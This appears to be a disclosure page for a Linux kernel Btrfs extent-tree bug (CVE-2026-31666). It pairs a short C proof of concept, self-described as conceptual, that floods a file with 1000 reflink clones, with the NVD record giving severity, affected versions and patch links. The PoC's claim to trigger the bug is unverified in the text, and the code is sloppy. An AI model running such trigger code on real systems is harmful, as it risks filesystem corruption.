CVE-2026-31666

/* * PoC for CVE-2026-31666 (Conceptual) * This code attempts to trigger the lookup_extent_data_ref logic error * by creating a fragmented Btrfs filesystem with many reflinks. * Requires root or privileges to mount/manipulate Btrfs. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/fs.h> #define FILE_SIZE (1024 * 1024) // 1MB void trigger_extent_lookup(const char *path) { int fd = open(path, O_RDWR | O_CREAT, 0644); if (fd < 0) { perror("open"); return; } // Write initial data char buf[4096]; for (int i = 0; i < FILE_SIZE / 4096; i++) { write(fd, buf, 4096); } // Create clones/reflinks to increase extent tree complexity // This forces the kernel to traverse the extent tree for (int i = 0; i < 1000; i++) { char clone_path[256]; snprintf(clone_path, sizeof(clone_path), "%s.clone.%d", path, i); int clone_fd = open(clone_path, O_WRONLY | O_CREAT, 0644); if (clone_fd > 0) { // FICLONE is the ioctl for reflinking ioctl(clone_fd, FICLONE, fd); close(clone_fd); } } close(fd); printf("Trigger executed. Check kernel logs for Btrfs errors.\n"); } int main() { // Assumes this is run on a mounted Btrfs partition trigger_extent_lookup("test_file.dat"); return 0; }

{"cve": {"id": "CVE-2026-31666", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:46.290", "lastModified": "2026-04-27T20:00:27.157", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix incorrect return value after changing leaf in lookup_extent_data_ref()\n\nAfter commit 1618aa3c2e01 (\"btrfs: simplify return variables in\nlookup_extent_data_ref()\"), the err and ret variables were merged into\na single ret variable. However, when btrfs_next_leaf() returns 0\n(success), ret is overwritten from -ENOENT to 0. If the first key in\nthe next leaf does not match (different objectid or type), the function\nreturns 0 instead of -ENOENT, making the caller believe the lookup\nsucceeded when it did not. This can lead to operations on the wrong\nextent tree item, potentially causing extent tree corruption.\n\nFix this by returning -ENOENT directly when the key does not match,\ninstead of relying on the ret variable."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.10.1", "versionEndExcluding": "6.12.82", "matchCriteriaId": "BBC7140F-5869-4604-97EE-EFD35C33303F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.23", "matchCriteriaId": "E9E09FDD-9EE3-4A56-92E2-2B30AFD0072F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.13", "matchCriteriaId": "1490EF9B-9080-481C-8D22-1306AAE664E4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.10:-:*:*:*:*:*:*", "matchCriteriaId": "9EA80796-744E-45F5-8632-2AB4F7889FCD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/316fb1b3169efb081d2db910cbbfef445afa03b9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/4125a194db4a6cf91f619f38788272651cb97dce", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/450e6a685d0cad95b15f8af152057bd0bf79f50b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ab1e022379c3c811aa72da8eb0c7507859a1d0f5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}